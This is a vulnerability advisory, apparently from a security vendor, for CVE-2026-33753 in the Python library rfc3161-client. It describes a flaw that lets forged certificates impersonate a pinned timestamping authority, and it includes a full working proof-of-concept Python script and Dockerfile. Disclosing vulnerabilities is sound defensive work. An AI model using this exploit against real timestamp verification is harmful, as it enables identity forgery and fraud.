CVE-2026-33753

CVE-2026-33753 is a medium-severity security vulnerability in rfc3161-client (pip), affecting versions <= 1.0.5. It is fixed in 1.0.6.

Summary

An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.

Details

The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:

leaf_certificate_found = None
for cert in certs:
    if not [c for c in certs if c.issuer == cert.subject]:
        leaf_certificate_found = cert
        break

This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).

An attacker can exploit this by:

  1. Acquiring a legitimate, authentic TimeStampResponse from any widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
  2. Generating a self-signed spoofed "proxy" certificate A with the exact Subject (e.g., CN=Intended Corporate TSA) and ExtendedKeyUsage (id-kp-timeStamping) required by the client's VerifierBuilder.
  3. Generating a dummy certificate D issued by the actual FreeTSA leaf certificate.
  4. Appending both A and D to the certificates list in the PKCS#7 SignedData of the TimeStampResponse.

When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.

The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.

PoC

The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:

Dockerfile (poc/Dockerfile):

FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

The attack flow locally demonstrated in poc/poc.py:

import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
    print("[*] Generating TimeStampRequest...")
    req_builder = TimestampRequestBuilder(
        data=b"hello world",
        hash_algorithm=HashAlgorithm.SHA256,
        cert_req=True
    )
    req = req_builder.build()
    
    print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
    resp = requests.post(
        "https://freetsa.org/tsr",
        data=req.as_bytes(),
        headers={"Content-Type": "application/timestamp-query"}
    )
    if resp.status_code != 200:
        print("[-] Failed to get TSA response. Is the network up?")
        return
        
    tsa_resp_bytes = resp.content
    
    print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
    ])
    
    # We create a self-signed spoofed certificate that meets all Python verification criteria
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
        critical=True,
    ).sign(private_key, hashes.SHA256())
    
    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)
    
    print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
    status = tinfo['status']['status'].native
    if status != 'granted':
        print(f"[-] Status not granted: {status}")
        return
        
    content_info = tinfo['time_stamp_token']
    assert content_info['content_type'].native == 'signed_data'
    signed_data = content_info['content']
    
    certs = signed_data['certificates']
    
    from asn1crypto.x509 import Certificate
    fake_cert_asn1 = Certificate.load(fake_cert_der)
    
    real_leaf_asn1 = None
    for c in certs:
        c_subject = c.chosen['tbs_certificate']['subject']
        issues_something = False
        for oc in certs:
            if c == oc: continue
            oc_issuer = oc.chosen['tbs_certificate']['issuer']
            if c_subject == oc_issuer:
                issues_something = True
                break
        if not issues_something:
            real_leaf_asn1 = c
            break
            
    if real_leaf_asn1:
        print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        dummy_cert = x509.CertificateBuilder().subject_name(
            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
        ).issuer_name(
            real_leaf_crypto.subject
        ).public_key(
            dummy_priv.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=1)
        ).sign(dummy_priv, hashes.SHA256()) 
        
        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
        certs.append(dummy_cert_asn1)

    print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
    certs.append(fake_cert_asn1)
    
    malicious_resp_bytes = tinfo.dump()
    
    print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
    root_resp = requests.get("https://freetsa.org/files/cacert.pem")
    root_cert = x509.load_pem_x509_certificate(root_resp.content)
    # We must also download TSA.crt which acts as an intermediate for FreeTSA
    tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)
    
    print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)
    
    verifier = VerifierBuilder(
        common_name="Spoofed TSA",
        roots=[root_cert],
        intermediates=[tsa_cert_obj],
    ).build()

    print("[*] Attempting Verification...")
    try:
        verifier.verify_message(tsa_resp_obj, b"hello world")
        print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
    except Exception as e:
        print("\n\033[91m[-] Verification failed:\033[0m", e)

if __name__ == '__main__':
    main()
  1. Requests a timestamp from https://freetsa.org/tsr.
  2. Generates a fake cert with common_name="Spoofed TSA" and ExtendedKeyUsage=TIME_STAMPING.
  3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
  4. Injects the fake cert into the bag.
  5. Invokes decode_timestamp_response() on the malicious bytes.
  6. Runs VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg).
  7. Observes a successful verification bypassing the common_name constraint.

Impact

Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion
Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold any valid timestamp from a CA trusted by the Verifier.

CVE-2026-33753 has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.6); upgrading removes the vulnerable code path.

Affected versions

rfc3161-client (<= 1.0.5)

Security releases

rfc3161-client → 1.0.6 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade rfc3161-client to 1.0.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-33753? CVE-2026-33753 is a medium-severity security vulnerability in rfc3161-client (pip), affecting versions <= 1.0.5. It is fixed in 1.0.6.
  2. How severe is CVE-2026-33753? CVE-2026-33753 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of rfc3161-client are affected by CVE-2026-33753? rfc3161-client (pip) versions <= 1.0.5 is affected.
  4. Is there a fix for CVE-2026-33753? Yes. CVE-2026-33753 is fixed in 1.0.6. Upgrade to this version or later.
  5. Is CVE-2026-33753 exploitable, and should I be worried? Whether CVE-2026-33753 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-33753 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-33753? Upgrade rfc3161-client to 1.0.6 or later.

Other vulnerabilities in rfc3161-client

CVE-2025-52556

Stop the waste.
Protect your environment with Kodem.